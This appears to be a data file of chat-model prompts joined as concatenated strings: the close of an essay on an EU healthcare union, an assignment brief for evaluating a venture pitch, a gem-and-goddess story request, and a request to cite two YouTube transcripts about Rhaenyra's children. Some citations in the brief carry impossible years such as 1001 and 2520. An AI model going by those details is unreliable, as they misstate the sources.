amendment. Therefore, the adaptive behaviour of the Court is even more noteworthy, as observed by Hervey and McHale (2015): ‘[t]he CJEU is not, of course, obliged to follow the legislature where it interprets Treaty provisions such as Article 56 TFEU, but in practice it usually does so’ (p. 91). This implies a more fine-grained relation between law and politics than a simple neo-functionalist reading would suggest. This relation is where European politics plays a decisive role and where the Court is not politically blind but even looks for ‘political guidance’ on how to apply more open Treaty provisions (Baeten and Palm, 2013, p. 394).\nThe relation between law and politics is not only dynamic at the law-making stage. As illustrated in the three contributions concerning the implementation of CJEU case law and the patients’ rights directive, the healthcare union also consists of tensions and contradictions between the rules that emerge at the ‘federal’ level and how they are responded to at the national level. Moreover, the dynamic between law and politics plays out rather differently across and within member states because national courts and national governments vary in their application of EU law.\nTo conclude, the contributions of this volume demonstrate that the emerging healthcare Union is a co-operative system that combines self-rule and shared rule (Vollaard et al, 2015). A large part of healthcare is still organized by the member states, and the impact of the shared rule depends on its national implementation. At the same time, the two levels are intertwined, with overlapping competences through continuous interaction and disputes, and they attempt to settle the division of labour and define the line between shared rule and self-rule. The contributions of this volume present a broader set of actors, institutions and dynamics in the making of a European healthcare union than what arises from the interactions among an entrepreneurial Commission, a dynamic Court and reluctant national politicians suggest. This volume notes that the dynamics differ depending on where we are in the policy-making process and which sub-area of healthcare we investigate. Together, the different pieces substantiate that when examining the emergence, content and outreach of a policy field, the way is long and winding from policy idea through politics to output.\nAlthough fragile, a European healthcare union is in the making. Healthcare can be produced, consumed and provided across the internal borders of the EU. A distinct field of law and set of institutions co-regulate healthcare, whereas common values, rights and principles have been agreed on. Certainly, national healthcare systems have not been fully integrated into a single European healthcare system. In addition, other policy actors and principles still leave their mark on EU involvement in healthcare policies. Moreover, in practice, compliance with EU legislation and case law on patient mobility remains rather variegated across and within member states. However, the EU has become an extra, although thin, primary regulatory layer in organizing, financing and providing healthcare (Vollaard et al, 2015).' +'Use the pitch to complete the assignment. The details are below:\n\nLength: 1500 words\n\nYou will act as a member of the panel of investors to evaluate one of the venture pitches presented, called Helpmates. In your report, you will rate and provide a rationale for your rating of the new venture pitch. You will assess whether the new venture is a good investment opportunity (e.g., how favorable the business context, the attractiveness of the opportunity, the strength of the new venture team) and provide recommendations for the new venture (e.g. key strengths, key weaknesses and additional information or revisions). Your evaluation should be informed by the principles, concepts and frameworks provided below:\n• Gartner. (1988). “Who Is an Entrepreneur?” Is the Wrong Question. Entrepreneurship Theory and Practice, 12(4), 11–32. https://doi.org/10.1177/104225878801200401\n• Volery, & Mueller, S. (2018). Managing paradoxes and tensions: A key element of entrepreneurs’ leadership behaviour. In Volery & S. Mueller, Research Handbook on Entrepreneurship and Leadership (pp. 133–155).\n• Dyer, Gregersen, H. B., & Christensen, C. M. (2009). The innovator’s DNA. Harvard Business Review, 87(12), 60–128.\n• Kuratko, Morris, M. H., & Schindehutte, M. (2015). Understanding the dynamics of entrepreneurship through framework approaches. Small Business Economics, 45(1), 1–13. https://doi.org/10.1007/s11187-015-9627-3\n• Eisenman. (1001). Entrepreneurship: A Working Definition. Harvard Business Revie. https://hbr.org/2013/01/what-is-entrepreneurship\n• Zhao, & Seibert, S. E. (2006). The Big Five Personality Dimensions and Entrepreneurial Status: A Meta-Analytical Review. Journal of Applied Psychology, 91(2), 259–271. https://doi.org/10.1037/0021-9010.91.2.259\n• Markman, & Baron, R. A. (2003). Person–entrepreneurship fit: why some people are more successful as entrepreneurs than others. Human Resource Management Review, 13(2), 281–301. https://doi.org/10.1016/S1053-4822(03)00018-4\n• Claire, Lefebvre, V., & Ronteau, S. (2020). Entrepreneurship as practice: systematic literature review of a nascent field. Entrepreneurship and Regional Development, 32(3-4), 281–312. https://doi.org/10.1080/08985626.2019.1641975\n• Review, Brown, T., Christensen, C. M., Nooyi, I., & Govindarajan, V. (2020). HBR’s 10 Must Reads on Design Thinking (with featured article “Design Thinking” By Tim Brown). Harvard Business Review Press.\n• Brown, & Wyatt, J. (2010). DESIGN THINKING FOR SOCIAL INNOVATION. Stanford Social Innovation Review, 8(1), 31–.\n• Review, Blank, S., Andreessen, M., Hoffman, R., & Sahlman, W. A. (2018). HBR’s 10 Must Reads on Entrepreneurship and Startups (featuring Bonus Article “Why the Lean Startup Changes Everything” by Steve Blank). Harvard Business Review Press.\n• Review, Christensen, C. M., Johnson, M. W., McGrath, R. G., & Blank, S. (2019). Article: “Reinventing Your Business Model” by Mark W. Johnson, Clayton M. Christensen, and Henning Kagermann (Article featured in HBR’s 10 Must Reads on Business Model Innovation). Harvard Business Review Press.\n• McMullen, & Shepherd, D. A. (2006). Entrepreneurial Action and the Role of Uncertainty in the Theory of the Entrepreneur. The Academy of Management Review, 31(1), 132–152. https://doi.org/10.5465/AMR.2006.19379628\n• Byrnes. (2520). How to create a winning post-pandemic business model. Harvard Business Review.\n• Ulwick. (2002). Turn customer input into innovation. Harvard Business Review, 80(1), 91–97.\n• Taneja. (8201). Building a startup that will last. Harvard Business Review, 2–6. https://hbr.org/2019/07/building-a-startup-that-will-last\n• Gans, Scott, E. L., & Stern, S. (2018). Strategy for start-ups. Harvard Business Review, 96(3), 44–.\n• Garvin, & Levesque, L. C. (2006). Meeting the challenge of corporate entrepreneurship. Harvard Business Review, 84(10), 102–150.\n• Binns, Harreld, J. B., O’reilly III, C., & Tushman, M. L. (2014). The art of strategic renewal. MIT Sloan Management Review, 55(2), 21–23.\n• Sawhney, Wolcott, R. C., & Arroniz, I. (2006). The 12 different ways for companies to innovate. MIT Sloan Management Review, 47(3), 75–81.\n• Aldrich, & Fiol, C. M. (1994). Fools Rush in? The Institutional Context of Industry Creation. The Academy of Management Review, 19(4), 645–670. https://doi.org/10.2307/258740\n• Moroz, & Hindle, K. (2012). Entrepreneurship as a Process: Toward Harmonizing Multiple Perspectives. Entrepreneurship Theory and Practice, 36(4), 781–818. https://doi.org/10.1111/j.1540-6520.2011.00452.x\n• Liabilities of newness and size\n\nHow should you write the report?\nFor your assignment, you must use the template below:\nA. RATE EACH CRITERIA (not included in word count) - 1 (Weak), 2 (Neutral), 3 (Strong), DK (Don’t Know), NA (Not applicable):\n1. Context Evaluation:\n• Favorable regulatory/societal context and trends \n• Favorable window of opportunity \n2. Market Evaluation:\n• Attractive market \n• Clear customer needs \n• Value of offering to customers who are willing to pay \n3. Industry Evaluation:\n• Favorable competitive dynamics \n• Available suppliers and partners \n4. Economics Evaluation:\n• Financial strength of the opportunity \n• Potential for growth in the future \n5. Presentation Evaluation:\n• Personal passion \n• Clear and compelling \n• Realistic \n• Ability to implement \nB. STRENGTHS AND WEAKNESSES OF THE PITCH:\nUse the criteria you rated above to explain the strengths and weaknesses of the pitch by providing a rationale for your rating.\n1. What are the key strengths of the Pitch?\n2. What are the key weaknesses of the Pitch?\nC. OUTCOME AND RECOMMENDATIONS:\nChoose one of the three outcomes reported below for the Pitch: \n(A) Invite to submit the business plan \n(B) Invite to revise and then submit the business plan\n(C) Do not invite to submit the business plan\nProvide your conclusions and recommendations ONLY for the section below associated with the chosen outcome.\nIf you chose A “Invite to submit business plan”:\n1. What are the key reasons you accepted the Pitch?\n2. What recommendations would you give to the founders?\nIf you chose B “Invite to revise before submitting business plan”:\n1. What additional information or revisions would you like the founders to add before submitting the Business Plan?\n2. What recommendations would you give to the founders?\nIf you chose C “Do not invite to submit business plan”:\n1. What are the key reasons you rejected the Pitch?\n2. What recommendations would you give to the founders?\n\nThe word count for this assignment is 1500 words (excluding section A), which includes the template wording and in-text references but excludes the Reference List.\nYou must use at least eight of the list of resources provided to support your evaluation.\n\nWhat are the grading criteria?\n• 50%: Quality of analysis of the key strengths and weaknesses of the Pitch. Uses course content (e.g., theory, concepts, practices, processes, tools, guest lectures) to evaluate the new venture and its strategy discussing the limits and potential of the opportunity.\n• 25%: Outcome and recommendations. The conclusions on accepting (or not accepting) the Pitch and the relevant recommendations are evidence-based and conceptually robust.\n• 25%: Clarity of expression and conformity with instructions. Provide a deliverable of professional quality; each section of the document contributes to the composition of a cohesive report; conforms with instructions (word limit, referencing).' +'combine all of the descriptor prompts into a story\n\n "ornate primordial ethereal celestial gems embellished fractal jewelry encrusted cosmic luxury\n\nornate primordial ethereal celestial gems, intricately crafted and adorned with delicate fractal patterns, encrusted with sparkling cosmic luxury, creating a truly breathtaking and otherworldly display of opulence and grandeur.\n\nAs you gaze upon the breathtaking display before you, you are struck by the sheer beauty and grandeur of the ornate primordial ethereal celestial gems that adorn the intricate fractal jewelry. Each gem seems to radiate with an otherworldly light, as if containing within it the secrets of the universe. The gems are encrusted with sparkling cosmic luxury, adding to their ethereal beauty and giving the impression of a treasure from another world. The overall effect is one of opulence and splendor, leaving you in awe of the incredible craftsmanship and artistry on display.\nAs you step into the grand hall, your eyes are immediately drawn to the mesmerizing display of ornate primordial ethereal celestial gems that adorn the walls and pillars. Each gem seems to contain within it the essence of the universe, radiating an otherworldly light that fills the room with a soft, ethereal glow. The gems are embellished with intricate fractal patterns, adding to their beauty and complexity. The jewelry that encases the gems is crafted with expert precision, encrusted with sparkling cosmic luxury that shimmers in the light. The overall effect is one of opulent splendor, creating a truly breathtaking and otherworldly experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ornate primordial ethereal celestial gems.\n\n\nAs you step into the lavish fashion show, you are immediately struck by the stunning display of ornate primordial ethereal celestial gems that adorn the haute couture garments on the runway. Each gem seems to contain within it the secrets of the universe, glowing with an otherworldly light that is both captivating and alluring. The gems are intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The jewelry that encases the gems is crafted with expert precision, encrusted with sparkling cosmic luxury that shimmers and sparkles in the bright runway lights. The overall effect is one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ornate primordial ethereal celestial gems.\nOrnate: elaborate, decorative, fancy, extravagant\nPrimordial: ancient, original, primeval, primal\nEthereal: otherworldly, celestial, sublime, spiritual\nCelestial: heavenly, divine, celestial, supernatural\nGems: jewels, precious stones, diamonds, crystals\nEmbellished: decorated, adorned, enhanced, bedecked\nFractal: complex, intricate, detailed, ornate\nJewelry: adornments, ornaments, trinkets, baubles\nEncrusted: covered, studded, decorated, embellished\nCosmic: universal, astronomical, galactic, celestial\nLuxury: opulence, extravagance, grandeur, splendor\nHaute couture: high fashion, designer clothing, luxury fashion, bespoke fashion\nAs you enter the grand hall, your eyes are immediately drawn to the elaborate display of ancient, otherworldly celestial jewels that adorn the intricate, ornate jewelry on display. Each precious stone seems to contain within it the secrets of the universe, radiating with a sublime, spiritual light that fills the room with a soft, ethereal glow. The gems are delicately crafted and adorned with complex, detailed fractal patterns, adding to their already impressive beauty and complexity. The ornaments that encase the gems are crafted with expert precision, studded with sparkling universal luxury that shimmers and sparkles in the light. The overall effect is one of opulent splendor and celestial elegance, creating a truly breathtaking and unforgettable experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ancient, otherworldly celestial jewels.\nIn the grand hall of luxury and splendor,\nWhere haute couture garments grace the floor,\nOur eyes are drawn to the ethereal glow\nOf ornate primordial celestial gems.\n\nWith each gem, a universe unfolds,\nMysteries and secrets to behold,\nEmbellished with intricate fractal art,\nA cosmic beauty that sets us apart.\n\nEncrusted in sparkling luxury,\nA treasure from another world, it seems,\nWe are awed by their grandeur and grace,\nOrnate primordial celestial gems in their place.\n\nSo let us marvel at their beauty divine,\nThese ornate primordial ethereal gems of mine,\nAdorning the finest haute couture garments,\nA true display of opulence and splendor.\n\nIn the world of haute couture and luxury,\nWhere beauty and elegance reign supreme,\nWe are awed by the ornate splendor\nOf primordial ethereal celestial gems.\n\nEach gem holds a universe within,\nA world of mystery and wonder to begin,\nEmbellished with delicate fractal patterns,\nA cosmic beauty that leaves us in awe.\n\nEncrusted in sparkling luxury,\nA treasure from another world, it seems,\nWe are captivated by their grandeur and grace,\nOrnate primordial celestial gems in their place.\n\nSo let us marvel at their beauty divine,\nThese haute couture ornate primordial gems of mine,\nAdorning the finest garments with opulence and splendor,\nA true display of luxury and elegance.\n\nAs you step into the grand hall, your eyes are immediately drawn to the mesmerizing display of ornate primordial ethereal celestial gems that adorn the walls and pillars. Each gem seems to contain within it the essence of the universe, radiating an otherworldly light that fills the room with a soft, ethereal glow. The gems are embellished with intricate fractal patterns, adding to their beauty and complexity. The jewelry that encases the gems is crafted with expert precision, encrusted with sparkling cosmic luxury that shimmers in the light. The overall effect is one of opulent splendor, creating a truly breathtaking and otherworldly experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ornate primordial ethereal celestial gems. In the center of the room, a runway showcases the latest in haute couture fashion, with garments adorned with the same ornate primordial ethereal celestial gems, creating a dazzling display of luxury and elegance.\n\nThe dress is a masterpiece of haute couture, with a bodice adorned with ornate primordial ethereal celestial gems that seem to contain within them the secrets of the universe. The gems are intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The dress flows into a full skirt, encrusted with sparkling cosmic luxury that shimmers and sparkles in the light. The overall effect is one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable fashion statement. The dress is the perfect blend of ancient and modern, combining primordial beauty with cosmic luxury for a truly unique and striking design.\n\nThe dress is a true work of art, crafted with expert precision and attention to detail. The bodice is adorned with ornate primordial ethereal celestial gems that seem to radiate with an otherworldly light, as if containing within them the secrets of the universe. The gems are intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The dress flows into a full skirt, encrusted with sparkling cosmic luxury that shimmers and sparkles in the light. The overall effect is one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable fashion statement. The dress is the perfect blend of ancient and modern, combining primordial beauty with cosmic luxury for a truly unique and striking design. The haute couture craftsmanship is evident in every detail, from the ornate primordial ethereal celestial gems to the sparkling cosmic luxury, creating a garment that is truly one of a kind.\nSure, the goddess wearing the dress might be a stunningly beautiful and otherworldly being, with long flowing hair and delicate features. She might have a regal bearing, exuding a sense of grace and elegance. The dress would complement her beauty perfectly, with the ornate primordial ethereal celestial gems adding to her already impressive aura of majesty and splendor. The goddess would radiate with an ethereal light, giving the impression of a being from another world. She would be the epitome of beauty and grace, wearing the dress with effortless poise and elegance, commanding the attention of all those around her.\n\nThe goddess is a stunningly beautiful and otherworldly being, with long flowing hair that cascades down her back in golden waves. Her delicate features are perfectly proportioned, with large, luminous eyes that seem to contain within them the secrets of the universe. Her lips are full and sensual, with a hint of a smile playing at the corners of her mouth. She has a slender, graceful figure, with curves that are accentuated by the flowing lines of the dress. The dress is a perfect complement to her beauty, with the ornate primordial ethereal celestial gems adding to her already impressive aura of majesty and splendor. The goddess radiates with an ethereal light, giving the impression of a being from another world. She is the epitome of beauty and grace, wearing the dress with effortless poise and elegance, commanding the attention of all those around her.\n\nIt is difficult to say where this goddess might live, as her otherworldly beauty and ethereal radiance suggest that she is not of this world. She could potentially live in a realm beyond our own, in a celestial realm of beauty and splendor, where the ornate primordial ethereal celestial gems are a common sight. Alternatively, she could live in a fantastical world of her own creation, where the beauty and luxury of the dress and gems are a reflection of her own magnificent power and majesty. Wherever she lives, it is certain that she is surrounded by beauty and splendor, and that her ornate primordial ethereal celestial gems are a symbol of her incredible otherworldly grace and elegance.\n\nThe goddess is a truly otherworldly being, with a beauty and grace that is beyond compare. She lives in a realm beyond our own, in a celestial realm of unimaginable splendor and opulence. The realm is filled with ornate primordial ethereal celestial gems, which adorn the walls and pillars of the grand palaces and temples. The gems radiate with an otherworldly light, giving the realm a soft, ethereal glow. The goddess herself is adorned with the same ornate primordial ethereal celestial gems, which are intricately crafted and embellished with delicate fractal patterns. She wears a flowing dress of the finest haute couture, encrusted with sparkling cosmic luxury that shimmers and sparkles in the light. The overall effect is one of otherworldly elegance and opulence, creating a truly breathtaking and unforgettable spectacle. The goddess is surrounded by beauty and splendor, and her ornate primordial ethereal celestial gems are a symbol of her incredible otherworldly grace and elegance.\nIt is difficult to say exactly what the goddess\' surroundings look like, as we do not have any specific information about her realm or location. However, based on the description of her ornate primordial ethereal celestial gems and the luxurious haute couture dress she wears, it is likely that her surroundings are similarly opulent and beautiful. The realm may be filled with grand palaces and temples, adorned with the same ornate primordial ethereal celestial gems that the goddess wears. The gems may radiate with an otherworldly light, giving the realm a soft, ethereal glow. The overall effect may be one of otherworldly splendor and elegance, creating a truly breathtaking and unforgettable spectacle.\n\nSure, the grand palaces and temples in the goddess\' realm may be truly magnificent structures, with intricate architectural details and opulent decor. The palaces may be constructed from the finest materials, with walls and pillars adorned with ornate primordial ethereal celestial gems that radiate with an otherworldly light. The gems may be intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The temples may be equally grand and impressive, with towering spires and ornate carvings and sculptures. The overall effect may be one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable spectacle. The grand palaces and temples may be a reflection of the goddess\' own majesty and power, and the ornate primordial ethereal celestial gems may be a symbol of her incredible otherworldly grace and elegance.\nThe interior design and architecture of the temples and palaces in the goddess\' realm may be truly impressive and grandiose. The interior spaces may be filled with luxurious furnishings and decor, including plush carpets and cushions, elaborate tapestries and paintings, and gleaming golden ornaments and statues. The walls and pillars may be adorned with ornate primordial ethereal celestial gems, which radiate with an otherworldly light and add to the already impressive opulence of the space. The architecture of the temples and palaces may be equally impressive, with grand arches and soaring domes, intricate carvings and sculptures, and elaborate stained glass windows that depict scenes from the goddess\' realm and beyond. The overall effect may be one of otherworldly splendor and elegance, creating a truly breathtaking and unforgettable spectacle. The interior design and architecture may be a reflection of the goddess\' own majesty and power, and the ornate primordial ethereal celestial gems may be a symbol of her incredible otherworldly grace and elegance."' +'Use explicit references in the script text below by referencing the respective section for example to answer the initial prompt: "How many legitimate children does Rhaenyra have?"\n\nExplicit Reference = [Source #, textminute.textsecond]\n\nReference evidence IN BOTH Source 1 and Source 2 below that support the answer with sections of the text below (e.g. I think that Rhaenyra had this many kids and this is why [Explicit Reference] )\n\nMore specific example to emulate is: "According to Source 1, [evidence of opinion] [Source 1, 14.88]. [Evidence of opinion] [Source 1, 38.21].\n\nHowever, Source 2 indicates [evidence of opinion by GPT]. [evidence of opinion] [Source 2, 29.52]. It is also noted that [evidence of opinion] [Source 1, 3.259].\n\nSource 2 also implies that [evidence of opinion by GPT]. [evidence of opinion by GPT] [Source 2, 51.899].\n\nFinally, it is worth noting that [evidence of opinion by GPT] [Source 2, 147.66].\n\nIn summary, [overall conclusion by GPT]"\n\nSOURCE 1: Were Rhaenyra Targaryen\'s first three children Illegitimate?? ASOIAF/ Fire and Blood Theory!!\nurl youtube.com/watch?v=erIer4Z1RmM\ntranscript\n0.0 when you play the game of thrones\n1.36 subscribe and like\n3.04 or you die\n5.52 there is no middle ground\n8.4 all right hello youtube and welcome back\n9.519 to the grease goblin youtube channel in\n10.88 today\'s video we\'re going to be talking\n12.639 about oran ray nearest first three\n14.88 children with lane or velaryon\n17.84 legit or were they actually bastards by\n21.119 rhaenyra and harwin strong but before we\n23.279 get into this video if you guys like to\n24.56 like subscribe and comment for more this\n26.16 type of content please do it helps the\n27.92 channel reach more people that also\n29.679 might like this content\n31.199 and let\'s get into it so\n33.76 was rhaenyra\n35.52 kind of messing around with harwin\n36.88 strong\n38.0 the quick answer is yes i i definitely\n39.76 think she was if you look at her first\n41.28 three children\n43.12 none of them have the normal targaryen\n45.84 features right they all come out with\n47.2 brown hair they\'re all kind of bigger\n49.84 stronger looking kids\n52.079 and the biggest thing for me is the\n53.76 brown hair because it very much kind of\n56.079 goes back to\n58.399 robert you know with his kids in the or\n60.719 his not his kids jamie and cersei\'s kids\n62.96 within the normal show it\'s a good\n64.64 parallel to that\n66.0 i think you know rainier as a character\n68.32 very much is kind of a direct mirror\n71.04 almost of cersei which is something i\n72.96 will talk about in the rhaenyra video\n74.88 that i\'m going to be doing this week so\n76.32 stay tuned for that\n77.84 but if you look at it i think\n80.32 rhaenyra had a husband that was gay i\n82.96 most characters know he was gay at this\n84.799 point in the story\n86.4 it was heavily you know hinted by by\n88.64 multiple characters\n90.4 and\n91.84 really i don\'t see that there was any\n93.36 type of way that you know leonard was\n95.04 going to get kids on to rainier\n97.68 so rhaenyra kind of being you know a\n100.56 teenager at this point was you know she\n102.96 wanted the companion companionship of\n104.799 another guy and i think this came with\n106.88 harwin strong we know that you know he\n109.6 was going after her and we i think there\n112.32 are some hints that rhaenyra was kind of\n114.96 kind of liked harwin a little\n116.96 but we have no confirmation if rainier\n119.68 and harwin ever did hook\n122.079 we just know by\n124.0 other characters right that they a lot\n125.52 of people point to that these children\n127.2 were illegitimate and the greens try to\n129.599 use this as something that\n131.52 you know to go against raniero why\n133.04 rainier shouldn\'t be\n134.72 you know in power\n136.4 and again this doesn\'t make any sense\n138.0 because even if those children are\n140.0 illegitimate it doesn\'t matter like\n142.48 rhaenyra had still been named the air by\n144.4 viserys anyway\n146.08 but\n146.879 it was just another thing to smear\n148.48 rhaenyra basically\n150.64 now\n151.519 with this being said if you look at all\n153.36 the features like i talked about with\n154.959 rainier\'s children\n157.28 i think it\'s fairly obvious these\n158.72 children aren\'t laners if we look at\n160.4 lanar\'s kind of personality and\n163.44 who he was\n164.879 he was never at court with rhaenyra\n167.76 he they\'re i just feel like there was no\n170.0 time for this to have ever happened\n171.76 where rhaenyra would have been with\n173.28 lenore\n174.4 um i think harwin strong would be the\n176.239 perfect character for\n178.159 rainier to get pregnant with\n180.239 and it makes a lot of sense looking at\n182.48 kind of how they are and it wouldn\'t\n184.48 also it wouldn\'t affect\n186.56 their whole dragon riding thing because\n188.239 rainier is still targaryen so that\n189.76 wouldn\'t matter either\n191.519 um also lanor\'s hair was very kind of\n194.64 targaryen like you know with the like\n196.48 light hair and stuff like that and none\n198.72 of their children came out like that\n200.319 it\'s just\n202.319 i think if we\'re going to say that\n204.4 harwin strong is the father i think\n206.239 that\'s fine but i think\n208.0 something that is a hundred percent\n209.519 clear is these are not leonard\'s\n211.04 children there\'s no way\n213.2 like\n214.08 their two hair color and their two like\n216.72 genetics and stuff like that would not\n218.08 equal them all having brown hair like\n220.159 maybe one like out of just nowhere maybe\n222.4 get some randomness but\n225.12 they all would not come out like that\n227.84 so to me i feel like it\'s pretty obvious\n230.48 these are not right near as kids and i\n232.4 think this is a really good mirror to\n234.08 cersei where percy gets kind of forced\n236.879 to marry robert it\'s not the person she\n238.48 wanted to marry but she does her duty\n242.48 and for different circumstances right\n245.12 like robert kind of abused cersei and\n247.28 was not really a good husband to her\n250.4 um rhaenyra kind of got a situation that\n252.959 was different but it\'s also something\n254.72 where not a good husband really\n256.88 can\'t really give you companionship\n258.479 can\'t really give you kids so they look\n260.639 for companionship in other ways cersei\'s\n262.4 was a lot more screwed up with her\n264.16 brother\n265.04 but you know you can see the parallels\n267.6 and then you have also that the children\n269.28 kind of have that hair that\'s always a\n271.759 big thing when they talk about rainier\n273.44 as children in fire and blood is the\n275.04 hair color\n276.32 um something that\'s huge within the\n277.84 books as we know it\'s one of the big\n279.12 reasons why ned is able to figure out\n280.8 that these are not robert\'s\n282.4 kids\n283.28 i think it\'s pretty clear that these are\n285.919 not rainiers\n287.68 let me know if you guys have a different\n288.88 opinion or maybe why you think these\n290.4 maybe are lanor\'s children or if there\'s\n292.4 somebody else\'s children\n294.08 i really don\'t think you can point to\n295.199 dame on because if we look at damon\n296.8 later on like they have the targaryen\n298.639 features that\'s something else i would\n300.24 even point to is that\n301.919 planor has features of you know\n304.32 valyrians and stuff like that because\n305.84 the valerians are like part valyrian\n309.28 so\n310.639 they should have had these type of\n312.16 features also they didn\'t have like the\n313.68 purple eyes or anything like that\n315.6 so again\n317.199 just more evidence to why this pro these\n319.44 these kids probably weren\'t rainy or\n321.199 they were right here as they weren\'t\n322.4 laenors so yeah i will see you guys all\n324.72 in the next video i hope you guys\n325.759 enjoyed this one and bye guys\n329.039 if you think this has a happy ending\n331.84 you haven\'t beaten paying attention\nSOURCE 2: Rhaenyra & Daemon Targaryen\'s 2 sons (House of the Dragon)\nurl youtube.com/watch?v=6zfOQ5gPevo\ntranscript\n0.0 after the six or so year time jump from\n2.52 episode 7 Damon\'s baby making hot streak\n4.98 continues after all his relationship\n6.899 struggles in the past his two daughters\n9.12 with Dana Valyrian are all grown up now\n10.92 but he has two new babies with renera\n13.259 after their secret marriage and one on\n15.54 the way her pregnancy wasn\'t explicitly\n17.699 stated in episode 8 but all that belly\n19.859 holding an oversized robes gave it away\n21.9 even though this episode was like 10\n24.06 minutes longer in the format HBO has\n25.859 made us accustomed to the new blondies\n27.72 only got like 20 seconds of camera time\n29.519 renira and Damon introduced their true\n31.92 born children to the king of the series\n33.6 while he laid there half Delirious from\n35.94 all the painkillers shoved down his\n37.14 throat can you blame him for being high\n38.76 24 7. the man\'s body has been falling\n41.1 apart for the past 20 years very slowly\n43.5 and painfully at that too seeing baby\n45.78 aegon in the series brings a little life\n47.76 into his eyes even musstruct energy to\n49.98 make a joke about little viserys having\n51.899 a name Fit For A King then the crying\n54.239 started and he had to be left alone\n55.62 again aegon adversaries are easily\n58.199 looked over despite how important they\n59.76 actually are because of actor Patty\n61.98 considine playing off the performance of\n63.539 a lifetime George R Martin had to come\n65.82 out and praise his work this week saying\n68.04 it wouldn\'t be Justice unless he got an\n69.42 Emmy anyone who\'s read the books knows\n71.64 Patty has to create this entire\n73.08 character from little to no Source\n74.939 material on the Targaryen King he might\n77.1 just be the least fleshed out King of\n78.6 the Seven Kingdoms in the entire story\n80.1 but we got from the lore was that he was\n82.2 a pushover who could never stay mad at\n84.0 Damon and ranera no matter how bad their\n85.979 actions were Martin\'s exact words on his\n88.38 blog post was a character he created for\n90.72 the show was so much more powerful and\n92.58 tragic and fully fleshed and my own\n94.619 version in Fire and Blood that I am half\n96.36 tempted to go back and rip up those\n97.799 chapters and rewrite the whole history\n99.78 of his Reign big praise one of the most\n102.6 celebrated men in literature and\n104.22 television and very well deserved people\n106.799 are going to be talking about that\n107.82 throne room scene for a long time even\n109.799 though the bit about runera feeding\n111.36 Cyrax or corpse of Fame and valerion\n113.399 didn\'t make the cut episode 8 and even 7\n116.159 have been so damn good season 1 of Game\n118.56 of Thrones good and this is just a\n120.6 preliminary stuff that I didn\'t think\n122.28 the showrunners were going to bother to\n123.72 include Martin also comments on some of\n126.36 the random accelerated pacing that\n127.979 plagued the middle of the Season he\'s\n129.78 still fighting for a 13 episode season\n131.58 like he did with Game of Thrones\n133.739 they gone into series maybe victims of\n136.02 the too much story not enough Air Time\n138.18 problem guys like me are here to talk\n140.76 about them to help you fall in love with\n142.319 these characters a little more I know\n144.54 they have to get the short end of the\n145.86 stick if the series and elephant\'s\n147.66 fourth child is just existing off screen\n149.94 because there wasn\'t enough time to\n151.68 mention Darren\'s been living with the\n153.239 high towers of an Old Town nine-year-old\n155.76 aegon and his little brother 7 year olds\n157.8 viserys have been adapted as babies that\n160.319 could very well be twins like Bela and\n162.48 Reina were written as I mean Lena was\n164.819 aged down for the show so why can\'t the\n166.8 same be done for aegon adversaries they\n169.14 look like a three-year-old and\n170.28 two-year-old to me I wonder if casual\n172.26 viewers are thrown off by their names\n173.7 naming her firstborn with Damon aegon is\n176.76 perceived by Allison to be a slight\n178.8 against her own firstborn son named\n180.9 aegon it is a kind of weird thing to do\n182.879 Allison\'s son has to be referred to as\n185.04 aegon the Elder and renires is called\n187.08 aegon the younger aegon\'s a significant\n189.18 name targaryens repeatedly named their\n191.519 sons in honor of the first King of the\n193.2 Seven Kingdoms there\'s almost One in\n195.0 Every Generation the series the series\n197.159 and Joffrey valerion were given out of\n199.26 the norm names for the Targaryen family\n201.18 which kind of seems intentional by\n203.04 George Martin\'s part to categorize them\n204.84 as bastards if people were to reject the\n207.48 Suns we never had with Homan strong\n209.099 there was still nothing they could say\n210.84 about the legitimacy of these two very\n213.0 Targaryen babies just look at them aemid\n215.879 won\'t be making fights with these\n216.9 nephews for being fakes\n218.76 demons are excited digging through\n220.739 Dragon layers on the island Dragonstone\n222.599 hopes of finding some eggs for his new\n224.519 family we didn\'t see her in this episode\n226.26 but Cyrax was responsible for laying\n228.599 these eggs hernia\'s bonded dragon is one\n230.94 of the only dragons mentioned in the\n232.379 story to be a baby maker takes after\n234.06 rhaenyra two eggs will be placed in\n236.34 aegon and the series Cradle to create\n238.14 that early Bond and the third will be on\n240.06 standby for the yet to be born\n241.5 targaryens to learnero will be fun to\n244.08 see the similarities of the special\n245.519 effects team make the hatchlings match\n247.799 Dragon mommy I\'m surprised Damien made\n250.319 it in and out of the lair without\n251.64 encountering any dragon whatsoever it\n253.92 would make sense if Cyrax likes her\n255.48 space and doesn\'t mind Damon digging\n257.579 through her stuff but there are a lot\n259.199 more dragons on Dragonstone including\n261.359 the three belonging to series Osiris and\n263.699 Joffrey some wild ones too that had\n265.8 never been tamed that would make a quick\n267.479 work of Damon but anyways aegon of a\n270.12 series have secured eggs that\'s all\n271.919 tells us about them the books on the\n273.9 other hand dive a little deeper into\n275.4 their characterization both boys have\n277.68 that striking Targaryen and aegon is\n280.44 very visibly the stronger one of the two\n282.24 not just because he\'s two years older\n283.8 but viserys was actually born quite\n285.84 frail nothing like Grandpa leprosy over\n288.0 here but just your average sickly child\n289.919 he makes up for it by being the more\n291.9 mature intelligent one the series was\n294.06 seen as the old King reborn who is\n296.52 objectively the best King in the story\n298.139 but for series his son number five for\n300.54 Nero very far down the list for\n302.699 succession that\'s if you even consider\n304.68 renera the heir to Iron Throne you know\n307.139 how men in his primitive fictional world\n308.88 to be the prospect of being ordered\n310.74 around by a woman none of these two boys\n312.84 really take after their parents\n314.28 personality wise that is the environment\n316.74 they\'re about to step into about the\n318.24 second season of House the dragon is\n319.919 what will form who they become that\'s as\n322.38 far as uncomfortable going with a\n324.06 spoiler-free video for now they\'re just\n326.1 two little babies that love each 